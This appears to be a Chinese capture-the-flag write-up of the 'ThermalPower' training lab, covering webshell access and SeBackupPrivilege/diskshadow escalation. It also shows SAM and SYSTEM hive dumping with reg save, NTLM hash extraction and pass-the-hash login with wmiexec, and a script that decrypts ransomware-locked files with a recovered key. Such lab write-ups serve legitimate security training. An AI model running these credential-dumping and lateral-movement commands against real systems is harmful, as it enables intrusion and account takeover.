春秋云镜-ThermalPower

flag01

fscan开扫

image-20241117143657728

image-20241117144930373

image-20241117145318991image-20241117145433361

蚁剑马写进去连不上,选择冰蝎马

image-20241117145416162

flag02

image-20241117150109501

image-20241117150253747

发现ftp可连接,新主机

1
172.22.17.6     WORKGROUP\WIN-ENGINEER

上代理

image-20241117150902815

挨个看看发现敏感信息

image-20241117150946461

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

image-20241117151036042

image-20241117151143359

结合内部通知可推断出登录账号密码为

账户名+@+工号

chenhua/chenhua@0813
zhaoli/zhaoli@0821
wangning/wangning@0837
zhangling/zhangling@0871
zhangying/zhangying@0888
wangzhiqiang/wangzhiqiang@0901
chentao/chentao@0922
zhouyong/zhouyong@0939
lilong/lilong@1046
liyumei/liyumei@1048

尝试使用其中一个进行rdp

image-20241117151709731

发现没权限

进行权限提升

方法1 SeBackupPrivilege 提权

[!NOTE] 使用 SeBackupPrivilege 权限实现权限提升

  • SeBackupPrivilege 权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。diskshadow 是 Windows 的内置功能,可以帮助创建备份。参考

    hackingarticles,可以在本地或 DC 进行权限提升。

    • Privilege 靶场中也使用该方式实现权限提升。ThermalPower 只涉及本地权限提升,不涉及 DC。

查看 systeminfo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
主机名:           WIN-ENGINEER
OS 名称: Microsoft Windows Server 2022 Datacenter
OS 版本: 10.0.20348 暂缺 Build 20348
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构建类型: Multiprocessor Free
注册的所有人:
注册的组织: Aliyun
产品 ID: 00454-60000-00001-AA888
初始安装日期: 2023/12/25, 20:35:07
系统启动时间: 2024/11/17, 14:31:28
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 449e491, 2014/4/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 3,950 MB
可用的物理内存: 2,344 MB
虚拟内存: 最大值: 5,358 MB
虚拟内存: 可用: 3,917 MB
虚拟内存: 使用中: 1,441 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: \\WIN-ENGINEER
修补程序: 安装了 3 个修补程序。
[01]: KB5031993
[02]: KB5032198
[03]: KB5032310
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP: 是
DHCP 服务器: 172.22.255.253
IP 地址
[01]: 172.22.17.6
[02]: fe80::a08:c743:f141:2d7b
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

查看特权信息,此时 SeBackupPrivilege 未开启:

1
2
3
4
5
6
7
8
whoami /priv
特权信息
----------------------

特权名 描述 状态
============================= ============== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用

此时访问 Administrator 目录,提示拒绝访问:

1
2
PS C:\Windows\system32> dir C:\Users\Administrator\flag\
dir : 拒绝访问。

使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:

1
Import-Module .\EnableSeBackupPrivilege.ps1

image-20241117152352153

image-20241117152426965

新建 s.dsh 文件,创建目标系统上 C 盘的备份:

1
2
3
4
set context persistent nowriters
add volume c: alias mydrive
create
expose %mydrive% z:

将 s.dsh 文件编码和间距转换为与 Windows 机器兼容形式(在 Windows 上新建 s.dsh 可忽略此步):

1
unix2dos s.dsh

以管理员权限在 PowerShell 中执行命令。当前用户路径权限不够,需要在 C 盘新建目录 Temp,执行 diskshadow 并拷贝 flag02 :

1
2
3
4
5
PS C:\Users\chenhua\Desktop> cd C:\
PS C:\Users\chenhua\Desktop> mkdir Temp
PS C:\Temp> diskshadow /s s.dsh
PS C:\Temp> dir z:\Users\Administrator\flag\
PS C:\Temp> robocopy /b z:\Users\Administrator\flag\ . flag02.txt

image-20241117153251444

方法2 注册表 SAM 转储

重置环境,尝试直接转储 sam 和 system,发现不需要特权即可以成功导出:

1
2
3
4
5
PS C:\Users\chenhua\Desktop> cd C:\
PS C:\Users\chenhua\Desktop> mkdir Temp
PS C:\Users\chenhua\Desktop> cd C:\Temp
PS C:\Temp> reg save hklm\sam c:\Temp\sam
PS C:\Temp> reg save hklm\system c:\Temp\system

下载到本地,提取 Administrator 的 NTLM hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 secretsdump.py -sam sam -system system LOCAL

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5:::
chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658:::
zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215:::
wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3:::
zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81:::
zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d:::
lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a:::
liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471:::
wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07:::
zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432:::

以管理员权限登录获得 flag02:

1
2
3
python3 wmiexec.py administrator@172.22.17.6 -hashes 

C:\Users\Administrator\flag>type flag02.txt

flag03

前面获取到的敏感信息

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

image-20241117154312513

扫到172.22.26.11

尝试rdp

登上去他自动打开了火力自动化控制系统

image-20241117154655391

我随便点了个开flag就出来了(应该是锅炉开)

win+d或者win+M回到桌面

image-20241117155134381

最近使用的文件中发现 ScadaDB.sql,但是为 0 字节:

image-20241117155325637

因为该文件已经被加密为 ScadaDB.sql.locky

image-20241117155405956

在 C 盘下找到勒索程序 Lockyou.exe

image-20241117155415553

利用dnSpy解密

源代码中看到

image-20241117161142210

结合前面给的附件,

根据 locky 勒索软件家族加解密逻辑和 .NET 逆向代码,解密思路如下:

  • 首先用 privateKey 对加密的 encryptedAesKey进行 RSA 解密,得到 AES_KEY

  • 再用 AES_KEY 对加密的文件 ScadaDB.sql.locky 解密,得到 ScadaDB.sql

  • RSA解密

    通过工具,将 privateKey 从 XML 格式转换为 PEM 格式,得到 PRIVATE_KEY

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    -----BEGIN PRIVATE KEY-----
    MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
    PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
    YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
    rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
    8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
    RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
    UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
    J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
    vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
    Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
    xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
    VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
    FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
    PHvLZB6D8zSyuGw=
    -----END PRIVATE KEY-----

通过解密https://www.lddgo.net/en/encrypt/rsa得到AES_KEY

image-20241117161644825

AES解密

使用 AES KEY 对文件 ScadaDB.sql.locky 进行解密。RSA + AES 解密的完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
# @Author : iker
# @Time : 2024/03/04 16:10
# @Function: RSA Privatekey Decryption & AES CBC Decryption
import base64
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5


def rsa_decrypt(data):
private_key = """-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----"""
data = base64.b64decode(data)
priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key))
decrypted_data = priobj.decrypt(data,None)
return decrypted_data


def padding(data):
# style(string) – Padding algorithm.It can be ‘pkcs7’ (default), ‘iso7816’ or ‘x923’.
if len(data) % AES.block_size != 0:
return pad(data, AES.block_size, 'pkcs7')
else:
return data

def aes_cbc_encrypt(iv, key, data):
key = padding(key)
data = padding(data)
iv = padding(iv)

aes = AES.new(key, AES.MODE_CBC, iv)
cipher_data = aes.encrypt(data)
return cipher_data

def aes_cbc_decrypt(iv, key, data):
iv = padding(iv)
key = padding(key)
data = padding(data)

aes = AES.new(key, AES.MODE_CBC, iv)
data = aes.decrypt(data)
return data

def decrypt_file(encrypted_filepath,output_filepath,key):
with open(encrypted_filepath, 'rb') as f:
data = f.read()

iv = b'\x00' * 16
decryption_result = aes_cbc_decrypt(iv, key, data)

with open(output_filepath, 'wb') as f:
f.write(decryption_result)

if __name__ == "__main__":
encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g="
key = rsa_decrypt(encryptedAesKey)
encrypted_filepath = "ScadaDB.sql.locky"
output_filepath = "ScadaDB.sql"
decrypt_file(encrypted_filepath,output_filepath,key)

image-20241117164218550

总结

这次靶场最令我意想不到的就是最后的逆向,这一个逆向题对我一个Web手的伤害是多么的大哇!请教了队里的re手才勉强搞明白里面的逻辑,难道渗透题里面不免有逆向的么,不要让我啃逆向哇,呜呜呜